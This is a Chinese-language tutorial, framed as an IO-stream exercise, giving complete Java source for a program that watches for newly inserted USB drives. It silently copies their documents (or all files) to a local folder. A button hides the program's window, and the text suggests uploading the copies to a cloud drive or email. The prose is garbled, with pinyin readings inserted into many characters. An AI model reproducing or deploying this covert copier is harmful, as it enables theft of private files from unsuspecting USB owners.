程序的功能是,檢查U盤(pán),并將U盤(pán)的內(nèi)容自動(dòng)拷貝到系統(tǒng)的某個(gè)盤(pán)符中。分享給大家,就當(dāng)作是練習(xí)io流的小練習(xí)。
這個(gè)小程序的實(shí)現(xiàn)方法如下:
1、程序運(yùn)行后隔一斷時(shí)間就檢查系統(tǒng)的盤(pán)符有沒(méi)有增加,通過(guò)File.listRoots()可獲取系統(tǒng)存在的盤(pán)符。
2、如果盤(pán)符增加了,遍歷這個(gè)新增加的盤(pán)符,用字節(jié)流拷貝文件到指定的路徑。
需要注意的是,由于U盤(pán)的內(nèi)容可能很大,所以拷貝的時(shí)候最好指定要拷貝的文件類(lèi)型,如ppt,doc,txt等等。
下面是這個(gè)小程序的相關(guān)代碼:
在CopyThread類(lèi)中可以指定要復(fù)制的文件類(lèi)型,大家在fileTypes數(shù)組中加入相應(yīng)的文件后綴名即可。如果要復(fù)制所有文件,將其設(shè)為null就行了。在CopyFileToSysRoot類(lèi)中可以指定存儲(chǔ)的路徑,當(dāng)然,如果愿意的話(huà),你可以將文件上傳到網(wǎng)盤(pán),郵箱等等
一、USBMain類(lèi),程序入口:
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
public class USBMain {
public static void main(String[] args) {
USBMain u = new USBMain();
u.launchFrame();
//開(kāi)啟盤(pán)符檢查線(xiàn)程
new CheckRootThread().start();
}
// 界面
private void launchFrame() {
final JFrame frame = new JFrame();
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setLocation(450, 250);
JButton hide = new JButton("點(diǎn)擊隱藏窗口");
// 點(diǎn)擊按鈕后隱藏窗口事件監(jiān)聽(tīng)
hide.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
frame.setVisible(false);
}
});
frame.add(hide);
frame.pack();
frame.setVisible(true);
}
}
二、CheckRootThread類(lèi),此類(lèi)用于檢查新盤(pán)符的出現(xiàn),并觸發(fā)新盤(pán)符文件的拷貝。
import java.io.File;
//此類(lèi)用于檢查新盤(pán)符的出現(xiàn),并觸發(fā)新盤(pán)符文件的拷貝
public class CheckRootThread extends Thread {
// 獲取系統(tǒng)盤(pán)符
private File[] sysRoot = File.listRoots();
public void run() {
File[] currentRoot = null;
while (true) {
// 當(dāng)前的系統(tǒng)盤(pán)符
currentRoot = File.listRoots();
if (currentRoot.length > sysRoot.length) {
for (int i = currentRoot.length - 1; i >= 0; i--) {
boolean isNewRoot = true;
for (int j = sysRoot.length - 1; j >= 0; j--) {
// 當(dāng)兩者盤(pán)符不同時(shí),觸發(fā)新盤(pán)符文件的拷貝
if (currentRoot[i].equals(sysRoot[j])) {
isNewRoot = false;
}
}
if (isNewRoot) {
new CopyThread(currentRoot[i]).start();
}
}
}
sysRoot = File.listRoots();
//每5秒時(shí)間檢查一次系統(tǒng)盤(pán)符
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
三、CopyThread類(lèi),用于文件遍歷并選擇指定文件格式進(jìn)行復(fù)制:
import java.io.File;
//該類(lèi)用于對(duì)新盤(pán)符文件的復(fù)制
public class CopyThread extends Thread {
// 設(shè)置要復(fù)制的文件類(lèi)型,如果要復(fù)制所有格式的文件,將fileTypes設(shè)為null即可
private static String[] fileTypes = {"ppt","doc","txt","wps"};
// private static String[] fileTypes = null;
File file = null;
public CopyThread(File file) {
this.file = file;
}
public void run() {
listUsbFiles(file);
}
//遍歷盤(pán)符文件,并匹配文件復(fù)制
private void listUsbFiles(File ufile) {
File[] files = ufile.listFiles();
for (File f : files) {
if (f.isDirectory()) {
listUsbFiles(f);
} else {
if (fileTypeMatch(f))
new CopyFileToSysRoot(f).doCopy();
}
}
}
//匹配要復(fù)制的文件類(lèi)型
public boolean fileTypeMatch(File f) {
//fileTypes為null時(shí),則全部復(fù)制
if (fileTypes == null) {
return true;
} else {
for (String type : fileTypes) {
if (f.getName().endsWith("." + type)) {
return true;
}
}
}
return false;
}
}
四、CopyFileToSysRoot類(lèi),復(fù)制文件的IO流實(shí)現(xiàn):
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
//文件復(fù)制IO
public class CopyFileToSysRoot {
// 復(fù)制文件保存路徑
private static final String PATH = "D:USB";
private File file = null;
public CopyFileToSysRoot(File file) {
this.file = file;
}
// 復(fù)制文件
public void doCopy() {
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
try {
//創(chuàng)建目錄
File fPath = new File(getFileParent(file));
if (!fPath.exists()) {
fPath.mkdirs();
}
bis = new BufferedInputStream(new FileInputStream(file));
bos = new BufferedOutputStream(new FileOutputStream(new File(fPath,
file.getName())));
byte[] buf = new byte[1024];
int len = 0;
while ((len = bis.read(buf)) != -1) {
bos.write(buf, 0, len);
bos.flush();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (bis != null)
bis.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
if (bos != null)
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
// 根據(jù)盤(pán)符中文件的路徑,創(chuàng)建復(fù)制文件的文件路徑
public String getFileParent(File f) {
StringBuilder sb = new StringBuilder(f.getParent());
int i = sb.indexOf(File.separator);
sb.replace(0, i, PATH);
return sb.toString();
}
}
更多信息請(qǐng)查看IT技術(shù)專(zhuān)欄